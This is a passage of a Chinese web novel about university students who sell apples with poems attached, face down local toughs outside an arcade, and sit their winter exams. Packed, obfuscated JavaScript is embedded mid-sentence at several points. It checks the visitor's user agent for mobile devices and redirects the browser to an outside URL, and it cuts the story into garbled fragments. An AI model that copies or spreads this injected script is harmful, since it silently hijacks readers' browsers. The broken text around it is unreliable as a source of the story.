胡荔荔也在嘀咕:“上午两块钱一斤被人骂,现在一块钱一个,万一有人较真称一称……” 而她们的疑惑没维持多久,变化就发从第一个顾客的到来发生了。 一个三口之家沿着商贸街走过来,父亲三十出头,手里牵着个十来岁的男孩,母亲走在另一边,手里拎着个购物袋。一看就是周末带孩子出来逛的普通家庭。 三个人走到摊位前,脚步不自觉地慢了下来。 吸引他们的是帽子上“宁海大学”四个字。父亲抬头看了看遮阳伞,又看了看桌面上那些包装精致的苹果,目光在“逢考必中”那几个字上停住了。 韩学涛迎上去,脸上带着自然的笑,声音不高不低:“您好,看一下,宁海大学的学生实习项目。” 他指了指桌上的苹果:“给学弟学妹送祝福,给西部农民送温暖。这是庆阳的红富士,我们帮农户卖的。” 父亲点了点头,拿起一个“逢考必中”的苹果,苹果用透明塑料纸包着,里面夹着一张小卡片,字迹很端庄,一看就是手写的,不是印刷品。 《考场祷辞》 把六便士抛向钟楼,叮当 砸碎了所有倒计时的沙漏 我早已在星图背面,预演 一万次春风撞开金榜的巨响! “这个有意思。”父亲笑着问,“多少钱一个?” “一块钱。”韩学涛说。 父亲二话没说,开始掏钱。孙婷婷伸手接过,指尖微微顿了一下——这是今天下午的第一笔生意。 母亲站在旁边,目光落在另外两种苹果上:“那两种是什么?” 韩学涛拿起一个粉色卡片的苹果,递到她面前:“这个是代表我们这些年轻人想对父母说的话。” 母亲接过苹果,低头看卡片上的字。 字迹比刚才那首更秀气一些,像是女孩子写的: 《守望》 这些年,你们把黎明熬成粥 把皱纹叠成梯子,送我攀爬 而今夜,我只想用一张薄纸 拓下两鬓霜花,轻轻说:到家了…… 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428349|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到最后两个字,声音突然轻了下去。 空气安静了一瞬。 父亲转过头来看了一眼,把手搭在妻子肩上轻轻拍了拍。 “这个我们也要了。” 两块钱,两个苹果。放在上午,这钱能买一斤,现在只买了两个。 胡荔荔把苹果装进袋子递过去,母亲接过来,低头对儿子说:“看看宁海大学的哥哥姐姐,素质多高。你要好好努力,以后争取也考上。” 小男孩似懂非懂地点点头。 胡荔荔站在摊位后面,心里那个舒坦啊。上午卖两块钱一斤,老太太还骂她骗子。现在两块钱两个,顾客不但不觉得被骗,还满口夸。这差别也太大了! 其他人也都看愣了——竟然真的行? 好几个目光同时投向韩学涛,想问点什么,但已经顾不上了。 顾客一个接一个来了。 一对年轻情侣停在摊位前,女孩一眼就看中了“收获爱情”那个标签。 《图书馆的第七排》 我们隔着书架搬运一片月光 指尖在书脊留下暗号温香 当闭馆音乐漫过未读章节 才发现—— 你早已是我的答案之章。 念完,女孩扭头看男朋友。男孩痛快地掏钱付了,女孩把苹果捧在手里,走的时候还在低头看那首小诗。 更多的人涌过来。 一个中年妇女路过,看见“父母欣慰”的卡片,站住看了一会儿,掏钱买了一个。一个穿着校服的男生推着自行车经过,瞄见“逢考必中”四个字,二话不说掏出一块钱,把苹果塞进书包侧袋里。三个结伴逛街的女孩围过来,人手一个“收获爱情”,互相打趣着付了钱。 人越来越多,桌子前面渐渐围成了一个半圈。 “这个给我拿一个——不,拿两个,给闺女也带一个。” “那个‘逢考必中’的还有吗?我家孩子下周期末考试。” “‘父母欣慰’的那个,能不能多写几个字?我想带回家。” 韩学涛一边招呼顾客,一边头也不回地喊:“高洋,包装纸不够了,再裁一些!于鑫,把后面那箱好的苹果搬过来!小白,你过来帮忙招呼一下,有人问诗的内容你来解释——” 所有人都在动。 第71章 系里不给货了 “今天苹果只有这么多了,不好意思。” “明天我们还会再来……是的是的,三种苹果都有。” “不好意思啊,慢走——” 送走最后一波没买着苹果的客人,展雪转身拿起桌上半瓶矿泉水,拧开就灌,也不管这半瓶是谁的了。她感觉嗓子眼都在冒烟。 不远处,于鑫一屁股坐在凳子上,龇牙咧嘴:“你们405这个活动太累人了,太费腰了!” 他整个下午负责从箱子里捡苹果,弯腰弯了上百次,中间还扭了一下,现在腰疼得直不起来。 楚强和赵江直接坐在地上喝水。整车的苹果都是他俩一箱箱搬下来的,T恤都湿透几遍了,贴在身上。 其他人也都各司其职,这会儿累得不太想说话。 周兰揉着手腕,说:“我高中毕业就没写过这么多字!小白那三首诗,我现在背得滚瓜烂熟。” 袁圆捏着肩膀,有气无力接话:“感觉不是在卖苹果,是在开作家签售会。” 许秋接话说:“对!上次张小娴的签售会我去过,队伍排了几百米。今天我就有一种自己是张小娴的感觉。” 下午顾客太多,卡片一度供不上。好在后来不用那么多人招呼了,周兰、袁圆、许秋和小白全被调去写卡片、做包装,笔都没停过。 总之这一下午,所有人都忙坏了。 跟上午那副冷清样,简直天上地下。 孙婷婷那边算完账,拿着本子愣了半天,还有点不敢相信。 “今天拉了六百斤苹果,全卖了。” 原本计划两天卖五百斤,结果一个下午就完成了。而且不是按底价卖的,是翻了一倍的价钱。 “刨去给农民的成本,净赚一千二。”她把本子合上,感觉有些难以置信。 她忍不住问:“韩学涛,你这办法太管用了。到底为什么?” 所有人的目光齐刷刷投向韩学涛。 韩学涛正靠着桌子喝水,闻言放下瓶子:“卖苹果我们比不过人家,但下午卖的不是苹果,是希望、是情感。一块钱买一个‘逢考必中’,还捎带做了善事,花一份钱得两份满足,为什么不买?” 大家听完,安静了几秒。 韩学涛又说:“其实就是四个字,情绪价值。” 于鑫说:“**,涛哥你学地质的,怎么比经贸系的还会做生意?” 女生们笑着骂他,但谁也没反驳。 晚上聚餐,孙婷婷提议不去香满园了,就在市里吃——赚了钱就花掉,省得拿回学校,让其他人眼红! “吃什么?”大家七嘴八舌问。 徐爽想了想:“要不去吃刚开的肯德基吧。听说军训的时候,有个男生专门在开业第一天排了队,买了送到女生方阵里去。” 周兰立刻接上:“我知道我知道!政管系的女生方阵!那男生大摇大摆送进去,教官都傻了!” 展雪笑了笑:“行,那我们也去吃。” 韩学涛跟在后面,看着一群人兴致勃勃的样子,有点无语。 肯德基?他感觉还不如香满园。 到了店里,点了餐,十几个人围坐在拼起来的长桌前。405的女生们举着可乐杯,齐刷刷转向韩学涛。 “敬涛哥一杯!” ... 本来以为第二天接着卖苹果,但早上,203寝室左等右等,405的电话迟迟没来。 老谢忍不住打过去问,才知道孙婷婷和展雪一大早就去系里协调了——系里不给苹果了。 原本系里没指望他们能卖多少,就是走个过场的学生社会实践。谁能想到第一天出去,一车苹果全卖了,一个不剩。而且价钱传出去了——女生多的地方向来难保密——一块钱一个,平均算下来四块钱一斤。 系里尴尬了。 本来是和兰大一起搞的支农助农活动,现在弄得像是专门给几个学生创收,性质完全不对了。 要是卖的钱全部上交学校倒也说得过去,可他们只上交两块钱的成本价,多出来的全自己吃了。这种事一旦传开,影响很不好——不患寡而患不均。 可系里也不能逼他们把赚的钱全交上来,当初说好了成本价之上归他们,只是谁也没想到他们能以这么高价格卖出去。卖得少也就算了,这一下午卖了几百斤,赚了一千多块,别说学生,好些老师看着都眼红。 孙婷婷气得够呛。她今天原本打算大干一场,目标直奔一千斤,甚至计划下个周末再干两天,把学校这次进的苹果全卖掉。结果系里不给货了? “你们不是要助农吗?我现在有办法卖苹果,你们还拦着?这算什么助农?就为了做做样子?” 她和展雪一起跟系里理论,几个负责这事儿的行政干部被缠得头疼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428350|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后系主任亲自出面,答应这次社会实践给她们寝室八个女生全部满分,大二推荐她们竞选校学生会副会长。 校学生会的部长和副会长按规定都要竞聘,但各自系里的推荐在竞聘评分中占很高比例。经管系这种在学校举足轻重的大系,推荐的权重尤其大。 孙婷婷和展雪这才作罢。 回到寝室,电话打到203:“苹果卖不成了,今天怎么安排?” 李靖在电话里说:“校外打游戏去。” 全体赞同。两个寝室浩浩荡荡直奔校外游戏厅。 一下子来了这么多漂亮女生,游戏厅里一下子就沸腾了,打游戏的男生们纷纷扭头。 老板反应快,立刻把几台最好的机器腾出来。一开始大家玩对战游戏,三局两胜,李靖和于鑫打得最好,两个人上去基本就没输过,哪怕搭档的女生不太会玩,他俩自己就能把对面两个人打穿。 几局下来,其他人不干了。 “不公平!你们两个打得太好了,女生都不用动!” 李靖摊手:“这没办法,你就算改成五局三胜,也还是我们赢。” 韩学涛在旁边说:“那这样,有一局必须男生女生合作,不能只上一个。男生负责操纵方向,女生负责按键。这才考验配合默契。” 大家对视一眼,觉得有意思。 规则一改,画风就变了。 屏幕上的角色动起来,男生的手在摇杆上左推右拉,女生的手在旁边那排按钮上噼里啪啦。 两个人肩并肩,手挨手,有时候女生按错了键,男生下意识伸手去够按钮,两个人的手指就碰在一起。有人反应快,缩回去,过一会儿又不小心碰上了。有人假装没注意,手指贴着手指,多停了那么一瞬。 男女肢体开始接触,输赢反倒没那么重要了。 而从这里,就能看出女生对搭档男生的态度了。 周兰和老谢配合了一局,打完就退下来了。许秋和小白两台机器各打了一局,都输了,也没再接着打,站在旁边看别人玩。袁圆压根就没上手,说自己真的不会,在旁边看大家玩就挺开心的。 赵江最后跟小巴配到一起去了,霸占了一台机器,跟周兰和许婷婷打了好几局。变成了两男VS两女。 真正男女配合一直打得不亦乐乎的,是两对——李靖和高洋,于鑫和胡荔荔。 第72章 谁不想当令狐冲 那边打得热闹,韩学涛和展雪谁也没往上凑。 展雪嫌游戏厅里烟味重,退到里面的电脑房。韩学涛跟过去,要了两瓶可乐,把一瓶递给她。电脑房安静些,几台机器空着,展雪随便找了台坐下,点开一个游戏,试着玩了几下,就玩进去了。 韩学涛拉过椅子坐在旁边,喝着可乐看她玩。 屏幕上赫然是《金庸群侠传》——这游戏在这个年代正风靡。画面粗糙,人物像一堆像素块在动,跟后世的游戏没法比,但在这个年头,已经够让无数人通宵了。 展雪操纵着小虾米在野外跑来跑去,打怪练级,显然刚上手不久,操作还不太熟练,遇敌时手忙脚乱的。 “金庸的书我都看过。”她一边按键盘一边说。 韩学涛问:“怎么,想当侠女?” 展雪点了点头,手指没停,又问他:“你看过没有?” “飞雪连天射白鹿,笑书神侠倚碧鸳。初三毕业那年就看完了。” 展雪扭头看了他一眼,问:“那你最喜欢里面哪个角色?” 韩学涛想了想:“各有特点,最喜欢谈不上。但最共情的,是林平之。” 展雪手指停了一下,扭头看他:“为什么?” 韩学涛沉默了一会儿。 “他家有秘籍,被有权有势的人惦记。青城派余沧海为了辟邪剑谱,灭了他全家。他本是小康人家,一夜之间什么都没了。” 展雪没说话,安静地听着。 “但他那时候还是有情有义的人。”韩学涛继续说,“路上碰见岳灵珊装扮的村姑被人欺负,他明知道自己自身难保,还是出手救人。心地良善,光明磊落,不畏强权——那时候的林平之,是个好人。” “后来到了华山,拜了岳不群为师,以为终于找到依靠。”他停了一下,“结果岳不群比余沧海还狠。余沧海是明着抢,岳不群是暗着偷。一边装君子,一边算计他。林平之以为找到精神寄托,以为师傅是好人,结果人家从头到尾就是在他家秘籍的主意。” 展雪的眉头微微皱起来。 “江湖险恶,令狐冲能逢凶化吉,因为他是男主角。奇遇不断,高人相助,每次掉下悬崖都能捡到秘籍。最后名利双收,抱得美人归。”韩学涛说这话的时候,语气里有一丝很淡的东西,不仔细听察觉不到。 “但林平之不是。他是普通人。良善遇到了恶,恶又无法化吉,人生还不能一走了之。最后只能咬着牙,跟这个世界死磕。” 展雪被他说得愣住了。 “可是,”她想了想才开口,“可是最后林平之连岳灵珊都害了。他变成那样……已经不是良善了。” 韩学涛点点头:“因为林平之错了。有些遭遇无法逃避,这由不得他。但他的选择一直都是错的。也许金庸老爷子故意这么写的。给读者一个警示。这个世界上谁不想当令狐冲呢?潇洒自在,快意恩仇。但绝大多数人,拿到的都是林平之的剧本。” 展雪看着他,似乎在等他说下去。 韩学涛却没再多说,转头问:“你呢?最喜欢哪个人物?” 展雪收回目光,过了一会儿才开口:“程灵素。” 韩学涛看了她一眼。 展雪说:“她没有主角的命,也没有主角的脸,但比谁都聪明,比谁都清醒。她什么都知道,却还是选了那条路。” 说完她笑了笑,继续操纵小虾米跑起来。 就在这时,外面突然传来一阵动静。 韩学涛和展雪扭头往门外看,正撞见老谢急匆匆跑进来,嘴里喊着:“楚强在外面跟人打起来了!” 两人立刻起身,跟着老谢往外走。 游戏厅外已经围了一圈人。楚强站在最前面,于鑫、李靖、赵江几个人守在身后,正和对面几个青年对峙。地上散落着几枚游戏币,旁边的**机还在一闪一闪地亮着灯。 为首那个青年T恤被扯坏了,斜垮垮挂在身上,露出半边肩膀,头发乱糟糟的,脸上横着一道红印。他恶狠狠地盯着楚强:“小崽子,你敢跟我动手?” 楚强面无表情:“就动你了,怎么着 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结果那帮人不依不饶,说她骂了人,拦着非要她赔礼道歉,还有人伸手去拽她胳膊。 楚强二话没说,一把揪住那人的衣服,一拳就砸了过去,两边顿时打了起来。随后于鑫、李靖他们听到动静赶过来,双方就形成了对峙。 那青年摸了摸脸上的红印,又扯了扯被撕烂的T恤,冷笑一声:“现在的大学生挺横啊。打了人还不依不饶地。” 他斜着眼睛说:“这要是在你们校内,老子二话不说掉头就走。但现在是校外——你们还这么横,我就不能让了。” 他指了指楚强,又指了指后面那几个203的男生:“不就是打架吗?今天我豁出去了,就算蹲号子,也得把你们弄几个退学。来啊!” 203这边几个男生的脸色变了变。 那青年见他们没动,笑了一声,往前迈了一步。 “怕了?刚才不是挺能的吗?” 第73章 浇灭战火 老谢拽住韩学涛的胳膊,压低声音:“学涛,这事儿咱们还是得拉着点儿。” 他回头看了一眼剑拔**张的场面,语速很快:“大家考上宁海大学不容易,没必要跟一帮社会上的混混斗殴。冲动一下,后悔一辈子,不值当。一会儿我一个人肯定拉不住那么多人,要不你跟展雪、孙婷婷她们说一声,让女生也劝着点。” 韩学涛看了一眼场上的局势,没说话,转身又回了店里。 老谢愣在原地:“?” 店里,韩学涛径直走到收银台。 老板是个三十来岁的男人,留着短寸,脖子上挂着根金链子,正翘着腿看报纸。收银台上摆着个搪瓷杯,杯壁上印着“吉祥如意”,旁边搁着一串钥匙和半包烟。有人管他叫浩哥。 韩学涛站在收银台前,低头看着他。 浩哥抬头,不紧不慢把报纸折了一道:“怎么着?” 韩学涛往门外扬了扬下巴:“外面马上要打架,浩哥就稳坐钓鱼台了?” 浩哥往后一靠,双手交叉搭在肚子上:“外面打架我不管,别打到我店里来就行。” 韩学涛看着他,忽然笑了一下:“事是从你店里引起来的。起因是那台**的跑马机。” 浩哥的笑容收了收。 韩学涛继续说:“浩哥还觉得不关自己的事,不知道你是天真还是无邪。” 浩哥慢慢坐直了身子,目光沉下来:“威胁我?” 韩学涛没避他的眼神,声音不高,一字一句:“能在这条街开店,你当然觉得自己关系硬,有人罩。但社会上的流氓在你店里欺负女同学,最后导致群殴,几个大学生退学——这种事一旦发生,你觉得你后面的人是要罩你一把,还是推你一把?” 浩哥脸色变了。 韩学涛转身往外走,步子不急不慢:“既然浩哥这么自信,觉得你比人家的帽子还大,我现在出去就把事情闹大。我倒要看看,你怎么收场。” 浩哥的声音从身后传来:“站住。” 韩学涛脚步没停。 浩哥脸色变了几变,低头看了看自己脚上那双拖鞋,犹豫了两秒,还是从收银台后面绕了出来,踢踢踏踏追出去。 而此时,外面的局势已经来到临界点。 那个T恤被扯烂的青年步步紧逼,已经逼到楚强眼前,两个人脑袋相隔不到二十厘米,眼睛盯着眼睛对峙。周围看热闹的人围了一圈,连旁边卖烤红薯的老头都踮着脚往这边瞅。 青年嘴上还在挑衅:“来呀,大学生这么牛逼,来打我呀。敢不敢动手?刚才给女生出头的时候不是挺横的吗?现在孙子了?” 他不是没脑子。在宁海大学旁边跟宁海大学的学生斗殴,他心里也虚。故意刺激楚强他们先动手,只要楚强先动手,他就占了道理,在局子里跟帽子叔叔好说话,而回头学校追究起来,楚强这边肯定吃不了兜着走。 楚强也不是**。高中那次打架差点被开除,好不容易考上宁海大学,他不想因为打架再面临退学的处分。刚才在游戏厅里,是这帮人先对徐爽动手动脚,他出手有保护女同学的理由。现在再先动手,造成群殴,事后追究责任,搞不好真的要被退学。 而楚强能忍,于鑫和赵江就有点忍不了了。 尤其是赵江,火气最旺,听到这话脸上青筋直跳,攥着拳头就要往前冲,被老谢死死拉住了。 “大江!别冲动!”老谢一边拽着赵江不放,一边冲小白和小巴喊:“小白!小巴!过来一人拉一个!别让他们打起来!” 他又扭头找展雪和孙婷婷:“你们女生赶紧走,去找学校保卫处!这边不能出事!” 那边几个社会青年看着老谢他们手忙脚乱拉人的样子,哄笑起来。 “一帮龟儿子,以后就窝在学校里钻草丛吧,别他妈出来打游戏了!” “大学生就这怂样?” 赵江脸涨得通红,胳膊猛地一挣:“老谢你别拉我!今天老子宁肯退学也要削死他!” 他身高体壮,老谢被他带得一个踉跄,眼看就要拉不住了—— 而就在这时,谁也没想到的事情发生了。 这事...事后回想起来,都没几个明白当时到底发生了什么。 此时,只见一只手伸过来,不轻不重地**楚强和那青年之间,一把将那青年推开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他又转身揪住那个青年,手指头戳着他胸口:“王松,天天免费在我这儿打游戏,饿了就在柜台直接拿泡面,现在想砸老子生意啊?” 他瞪了一眼后面那几个社会青年:“你们今天谁不给我面子,在这儿动手,明天我就找你们家里大人要钱去!” 那几个人脸色变了,都没吭声了。 而浩哥转过身,看着韩学涛,脸色还是黑的:“你还在这儿杵着干什么?还不滚!” 韩学涛对浩哥点了点头,转身搂住楚强的脖子:“走了走了。给浩哥一个面子。” 第74章 先想好谁能平事 回到寝室,老谢把门一关,对着韩学涛就是一顿数落。 “学涛,你也太冲动了!刚才那种情况,你不跟着拉人,怎么还第一个冲上去了?”老谢叹着气,“还好最后没打起来,不然大家全得背处分。你是不知道,我当时心都快跳出来了——” 赵江在旁边打断他:“老谢你别说,涛哥那叫仗义!那一脚踹得多过瘾,你是没看见那孙子脸上的表情——” 于鑫也跟着起哄:“就是,涛哥牛逼!就那龟孙子那嘴脸,要不是老谢和小白他们几个拦着,我上去削死他!” 老谢气得脸都青了:“我他妈不是为了大家好?你们一个个的,脑子一热就不管不顾了?打架处分,退学,你们想过没有?” 韩学涛笑着说:“老谢说得对。以后打架得考虑后果,我当时也有点冲动,大家别学我。” 寝室里闹闹哄哄了好一阵,楚强一直没怎么说话。等大家安静下来,他拉着韩学涛去食堂打饭。 路上,楚强说:“刚才的事,谢了。” 韩学涛摆摆手:“也不全是为了你。当时两个寝室的人都在,出来既然遇到事,大家就一起扛。” 楚强点点头,沉默了一会儿,忽然说:“那个浩哥,是你叫出来的吧?” 韩学涛说:“当时局面架在那里,就这么退了,太憋屈。不过一脚踹出去容易,善后难,踹之前得想好谁能为这一脚平事。” 楚强没再说话,过了好一会儿,才低声说了一句:“学到了。” 405寝室,也在讨论刚才发生的事。 胡荔荔坐在徐爽旁边,脸上带着点兴奋:“没想到楚强还挺爷们的,那种时候没有怂。我跟你们说,有些男的,看到女生受欺负,自己先跑得没影了。” 许秋靠在床架上摇头:“楚强不是莽撞。你们注意到没有,他一直在压着自己。对方那么刺激他,他都没先动手。” 高洋把椅子转过来反着坐,下巴搁在椅背上:“先动手怎么了?是他们先欺负徐爽的。” 许秋叹了口气:“哪有那么简单。到时候警察来了,谁先动手谁理亏。楚强要是没忍住先出了手,现在我们就不是在寝室聊天,是在派出所给他们作证了。” 胡荔荔不服气地扭了扭身子:“那也不能任由他们欺负啊。今天赵江我是刮目相看,还有涛哥——你们看见涛哥那一脚没有?我站在后面都看见那家伙飞出去了!” 周兰小声说:“那一脚确实挺帅的……” “帅什么帅!今天最鲁莽的就是他!”孙婷婷从桌边转过来,手里本子往桌上一拍,“今天这事要是闹大了,把我们都牵连进去,谁负责?” 听到这话,几个女生的脸色都沉了沉。 孙婷婷坐直了身子:“你们别以为我自私,不顾寝室姐妹的情谊。你们也不想想,这事要是闹大了,学校的通报批评下来,徐爽这边能好?” 周兰从上铺探出头:“怎么学校还能批评到徐爽头上来?” 孙婷婷抬头看她一眼:“批评不到徐爽,但风言风语能少得了她?到时候传成什么样——‘经管系女生在游戏厅跟社会青年不清不楚’,‘两拨人为一个女生大打出手’,好听吗?徐爽以后还怎么在学校待?” 几个女生的脸色都变了。 胡荔荔张了张嘴,最后憋出一句:“可事情不是没闹大嘛……” 孙婷婷瞪她一眼:“没闹大是运气!你们以为每次都有这种运气?” 展雪一直没说话,靠在窗边,手里转着个可乐瓶盖子。 孙婷婷扭头看她:“展雪,你说句话。” 展雪停下手里的动作,想了想,说:“婷婷说得对,今天最稳的是老谢和楚强。一个在前面拉着,一个在后面忍着。” 孙婷婷点头:“卖苹果的时候还觉得韩学涛挺有脑子,没想到真到紧要关头,也是个混不吝。跟赵江似的,听人家几句话就上头了。” 展雪张了张嘴,想说什么又咽回去了。她总觉得韩学涛不像是那么冲动的人,但刚才的事就摆在眼前,心里也是一团疑惑,不知道该说什么好。 ... 出了那档子事之后,于鑫和李靖暂时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428353|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不往那家游戏厅去了。再加上快考试了,203寝室比以往聚得更齐。 晚上的时候,要么几个人约着去自习教室或者图书馆,要么去外面打打球、在校园里转转。但晚上熄灯之前,所有人都会回到寝室,打牌聊天,那是寝室里最热闹的时候。 与405寝室也没有再聚,大家各自准备着期末考试。 韩学涛的生活基本上还是两点一线——白天在教室上课,晚上去图书馆。虽然他勤工俭学是一周三天,但没有勤工俭学的日子他也照去不误。作业完成了,就帮冯梅老师弄资料。 冯梅自然开心得不得了。平时韩学涛不在的时候,那些国外的课程资料都是她自己在整理,费时费力。现在韩学涛天天来,把她彻底解放出来了,专心做一些校对和资料统合的工作,效率比以前高出一大截。 韩学涛倒不全是为了帮冯梅。他主要是觉得自己复习看书,不如在这里听国外的课程资料收获大。 最近他迷上的是斯坦福大学约翰·轩尼诗教授讲的《计算机体系结构》。那老头讲得深入浅出,把计算机从底层到上层一层层拆开,像剥洋葱似的,每剥一层都让人恍然大悟。韩学涛每天吃了晚饭就过来,有时候甚至从食堂打了饭带过来,边吃边听。 冯梅看在眼里,感动在心。外语这么好、做事还这么敬业负责的学生,实在太少见了。 她也没亏待韩学涛。没过多久,就把韩学涛加进了教材编撰项目的工作组——是工作组里唯一的学生。 据说冯梅提这事的时候,还有好几个教授有不同意见。一个刚刚大一的学生,进这种级别的项目组,资历确实差太远。后来杜校长带着几个教授一起来了一趟图书馆,看了韩学涛的工作状态和工作成果,那几个教授都不吭声了。 此后韩学涛就像工作组的其他专家一样,领一份补助。当然没有其他专家那么多,一个月一百六十块。名义上是——项目组的“编撰助理”。 时间过得很快,转眼就到了期末考试的日子。 第75章 错过太可惜了 宁海大学的期末考试隔一天考一门,全部考完需要一个多礼拜。考完第一科高等数学,韩学涛心里就有底了——题目相当简单,至少对他来说是这样的。 这段时间在图书馆帮冯老师翻译国外的高等数学课程,光完整的课程资料就翻了好几套。如今再来看国内这份大一高数试卷,有点像回了新手村。考试前那点忐忑,已经全变成了自信。 一周后所有科目考完,之前的高数分数也出来了。韩学涛意外拿了个年级最高分,差一分满分。成绩出来那天,全班都惊了。 尤其是203寝室,毕竟韩学涛当时在寝室问问题最多。 老谢比较含蓄,就伸大拇指说了句“厉害厉害”。 小巴直接翻白眼:“涛哥,看到你的分数,我感觉以前你就是在羞辱我。” 赵江更郁闷:“涛哥,你英语比我好我认了,怎么数学也甩开我这么多?以前高中的时候我数学是全班第一的,现在在寝室也只能排第三。人的平庸,就是这么一点点比较出来的。” 于鑫在旁边听得心烦:“哥几个能不能换个话题?” 他是寝室里唯一挂科的,五十五分,郁闷得要命:“最近这段时间我都没出去打游戏了,怎么还挂科了?” 李靖慢悠悠接话:“三金哥,一学期我就没见你听过课。临时抱佛脚两天就能通过,那我们的努力还有什么意义?” 于鑫气得够呛:“你努力了?你说涛哥努力我信,你也好意思说努力?哪次打游戏少了你?你还带着高洋一起去,卿卿我我的样子我看一眼就脸红。兄弟,你是不是努力错了方向?” 李靖面无表情:“可是我及格了。” 于鑫:“……” 韩学涛在旁边听得想笑。李靖这分数确实气人——六十分,一分不多一分不少,恰恰卡在及格线上,不用重修。跟于鑫的五十五分就是天壤之别。 全部考完就放假了。寝室里的人陆陆续续离开,几天之后,就剩韩学涛一个人住。 他家就在宁海,不用急着回去。相反,正好趁着寒假这段时间,帮冯老师好好弄弄资料。以前白天还要上课,现在一整天的时间都可以利用起来。 冯老师都有点被惊到了——说好的一周勤工俭学三天,后来每天都来,这已经很敬业了。结果现在连寒假都不回家,从早忙到晚,这已经有点敬业得吓人了。 她问了韩学涛好几次,放假了不回家,家里父母会不会担心之类的。 韩学涛每次都说没事,家里就在宁海,平时经常能回去。在家待着也无聊,不如过来干活。而且您让我进工作组当编撰助理,我也不能放了寒假就不管不顾。 冯梅服了。话说到这份上,她也无话可说了。 她琢磨着还有哪里能开后门,给主角再加点工资。但这种事情都有明确规定,她权限内的已经用完了。想了几天,她跟韩学涛说:“等开学我去找你们系卢主任,给你报一个社会实践先进个人。把你寒假这段时间的交通和食宿补贴都报了。老师也只能做到这样了。” 韩学涛自然又是一番感谢。他不在乎这些,但冯老师对他的这份心意,实实在在。 这不仅让他想起李曼——这个工作是李曼介绍来的,因此他才能认识冯老师,有这么大的收获。 不知道她在学生会怎么样了?人际关系理顺了没有?想着去问问老谢,但老谢已经放假回家了,只能作罢。 估计李曼应该也已经考完试,回东林了吧。 不同年级、不同专业的期末考试时间不一样,但前后也差不了几天。慢慢地,其他系的学生也陆续考完试,开始离校。校园一天比一天冷清。 以前篮球场上从早到晚都有人在打球,拍球声、叫喊声、隔着老远都能听见。现在球场上空空荡荡,只剩两个篮筐孤零零地立着,连网都被人拆走了。生活超市门口那排石凳上也没了人,平时一到傍晚就坐满了学生,现在只有一只猫慵懒地趴着,也不知道谁养的。食堂的变化最明显——饭点的时候再也不用排队了,稀稀拉拉几个人端着饭盒走进来,打完就走。窗口也只开了两个,一个是留学生窗口,一个是教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428354|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师窗口,但饭卡还是通用的。 中午,韩学涛从图书馆出来,去食堂打饭。 大厅里空空荡荡,一眼扫过去,坐着的不到十个人。他正往窗口走,没几步看见一个女生——白色印花的棉袄,红色围巾裹得严严实实,脚上蹬着一双厚底旅游鞋,整个人就像只小熊,正端着饭盒从窗口转过身来。 李曼。 两个人同时看见对方,同时愣了一下,又同时开口:“你怎么还在学校?” 韩学涛本来打算打了饭回图书馆吃,这会儿倒不急了。他打了饭,端着饭盒和李曼一起在靠边的位置坐下。 饭盒放下,两个人对视一眼,又同时问出来:“你怎么放假还没回去?” 李曼笑了,韩学涛也笑了。 “我先问的,”李曼抢着说,“你先说。” 韩学涛把自己在图书馆帮冯梅老师整理资料的事说了一遍,最后说:“说起来还要谢谢你。这对我真是个挺好的机会,不但赚出了学费,还免费听了不少国际上知名大学的课程。像掉进了聚宝盆里,每天数着钱过日子。” 李曼听着,眼睛弯起来:“原来是这样呀。知识就是财富,那你现在是大富翁咯?” 她歪着头看他:“大富翁要怎么谢我?” “请你吃饭。” “一顿饭就把我打发了?没诚意。” 韩学涛笑了:“那你说,我该怎么感谢你?” 李曼想了想:“等我过生日的时候,送我一份生日礼物吧。随便你送什么,看你有没有诚意。” 韩学涛点头,又问:“你怎么没回去?” 李曼把围巾往下拉了拉,露出一截下巴:“明年港岛不是要回归了吗,到时候要举行全国大学生联合汇演,还有全国大学生艺术节。我在学校就是筹备这个事。” 